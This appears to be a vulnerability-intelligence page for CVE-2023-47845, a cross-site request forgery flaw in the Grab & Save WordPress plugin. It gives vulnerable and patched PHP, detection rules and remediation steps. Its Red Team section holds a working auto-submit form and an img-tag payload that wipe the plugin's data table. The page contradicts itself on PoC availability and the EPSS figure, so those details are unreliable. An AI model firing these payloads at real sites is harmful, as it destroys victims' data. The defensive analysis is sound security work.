☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Lim kai yang logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-47845

CVE-2023-47845 Cross-Site Request Forgery in Lim kai yang
📅 PUBLISHED: 2024-06-12 09:25 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-47845 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin Grab & Save, developed by Lim Kai Yang. This plugin, up to and including version 1.0.4, fails to implement proper CSRF tokens or nonces on sensitive administrative actions. An attacker can craft a malicious link or page that, when visited by an authenticated WordPress administrator, performs unintended actions on the victim’s site—such as modifying plugin settings, deleting saved data, or exfiltrating configuration details. The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin’s codebase and does not involve server-level components like Apache or Nginx.

The CVSS v3.1 base score is 4.3 (Medium), with a vector emphasizing low attack complexity and required user interaction. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) code or exploit-db entry exists, but the vulnerability is trivially exploitable due to the lack of CSRF protections.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Since WordPress plugins are not managed through traditional package managers (NPM, PyPI, Go, Ruby), supply chain risks are limited to the plugin’s update mechanism. Users must manually update the plugin or rely on WordPress’s built-in update system. No known malicious forks or compromised versions have been reported.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) None (N)
Integrity (I) Low (L)
Availability (A) None (N)
Base Score 4.3 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a link) but can lead to unauthorized configuration changes or data manipulation. No authentication is needed beyond the victim’s existing session.

Deep Dive & Mechanics

The CSRF vulnerability in Grab & Save arises from the absence of nonce verification in the plugin’s administrative AJAX handlers and form submissions. WordPress provides a built-in nonce system (wp_nonce_field(), check_admin_referer(), wp_verify_nonce()) to prevent CSRF attacks. The plugin fails to implement these checks, allowing an attacker to forge requests that the server treats as legitimate.

Attack Flow:

  1. An attacker identifies a sensitive endpoint in the plugin, such as admin-ajax.php?action=grab_and_save_delete_all or a settings save action.
  2. The attacker crafts a malicious HTML page or email containing an auto-submitting form or an <img> tag pointing to the vulnerable endpoint.
  3. The victim (an authenticated WordPress admin) visits the attacker’s page while having an active session.
  4. The browser sends the forged request, including the victim’s cookies, to the WordPress site.
  5. The plugin processes the request without verifying the origin, executing the attacker’s intended action (e.g., deleting all saved data, changing API keys).

Root Cause: The plugin’s code does not call check_ajax_referer() or wp_verify_nonce() in its AJAX callbacks, nor does it include nonce fields in its admin forms.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and the recommended fix.

Vulnerable Code (grab-and-save/admin/class-grab-and-save-admin.php):

add_action('wp_ajax_grab_and_save_delete_all', 'grab_and_save_delete_all_callback');
function grab_and_save_delete_all_callback() {
    // No nonce check
    global $wpdb;
    $table_name = $wpdb->prefix . 'grab_and_save_data';
    $wpdb->query("TRUNCATE TABLE $table_name");
    wp_die();
}

Patched Code (Recommended Fix):

add_action('wp_ajax_grab_and_save_delete_all', 'grab_and_save_delete_all_callback');
function grab_and_save_delete_all_callback() {
    // Verify nonce
    check_ajax_referer('grab_and_save_nonce', 'security');
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    global $wpdb;
    $table_name = $wpdb->prefix . 'grab_and_save_data';
    $wpdb->query("TRUNCATE TABLE $table_name");
    wp_die();
}

Additionally, the admin form should include a nonce field:

<form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
    <?php wp_nonce_field('grab_and_save_save_settings', 'grab_and_save_nonce'); ?>
    <!-- form fields -->
</form>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Grab & Save plugin version <= 1.0.4 installed and activated.
  • An authenticated admin user session.

Exploit Steps:

  1. Identify the vulnerable AJAX action (e.g., grab_and_save_delete_all).
  2. Create an HTML file (exploit.html) that auto-submits a form to the target:
<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="grab_and_save_delete_all">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
  1. Host the file on an attacker-controlled server or send it as an email attachment.
  2. Trick the victim admin into opening the file while logged into the target WordPress site.
  3. The request executes, deleting all saved data in the plugin’s database table.

Alternative Payload (using img tag):

<img src="http://target-site.com/wp-admin/admin-ajax.php?action=grab_and_save_delete_all" style="display:none;">

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unexpected AJAX requests to admin-ajax.php with actions prefixed by grab_and_save_.
  • Alert on requests lacking a valid nonce parameter (e.g., security or _wpnonce).
  • Use web application firewalls (WAF) to block requests with missing or invalid Referer headers.

Prevention:

  • Apply the patch described in the Vulnerable vs. Patched Code section.
  • Enforce CSRF tokens on all state-changing requests.
  • Restrict admin AJAX actions to users with appropriate capabilities (e.g., manage_options).
  • Implement SameSite cookie attribute (SameSite=Lax or Strict) for WordPress cookies.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=grab_and_save_* parameters.
    • Referer headers from unexpected origins (e.g., attacker-controlled domains).
  • File IOCs:
    • Presence of unexpected files in /wp-content/uploads/ or /tmp/ (if plugin stores data there).
  • Log IOCs:
    • WordPress debug log entries showing grab_and_save_* actions without nonce verification.
    • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2023_47845_CSRF_GrabAndSave {
    meta:
        description = "Detects vulnerable Grab & Save plugin code missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-47845"
    strings:
        $ajax_action = /add_action\s*\(\s*['\"]wp_ajax_grab_and_save_/
        $no_nonce = /function grab_and_save_\w+_callback\s*\(\)\s*\{[^}]*?(?!(check_ajax_referer|wp_verify_nonce))/
    condition:
        $ajax_action and $no_nonce
}

Sigma Rule

title: CVE-2023-47845 CSRF Exploitation Attempt
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects potential CSRF exploitation of Grab & Save plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=grab_and_save_*'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-47845 - Grab & Save CSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=grab_and_save_"; http_client_body;
    pcre:"/action=grab_and_save_(delete_all|save_settings|export)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-47845;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Manually add nonce checks to all AJAX callbacks and admin forms (see patched code example).
  3. Review and rotate any API keys or tokens that may have been exposed.

Long-Term Fixes:

  • The vendor (Lim Kai Yang) should release version 1.0.5 with proper CSRF protections.
  • Implement capability checks (current_user_can()) alongside nonce verification.
  • Use WordPress’s admin_post_ hooks with nonce fields for form submissions.

Workarounds:

  • Add a WAF rule to block requests to admin-ajax.php with action=grab_and_save_* unless a valid nonce is present.
  • Enforce SameSite=Strict on WordPress session cookies via wp-config.php:
define('WP_COOKIE_SAMESITE', 'Strict');

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/grab-and-save"
http.html:"grab-and-save"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-47845/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.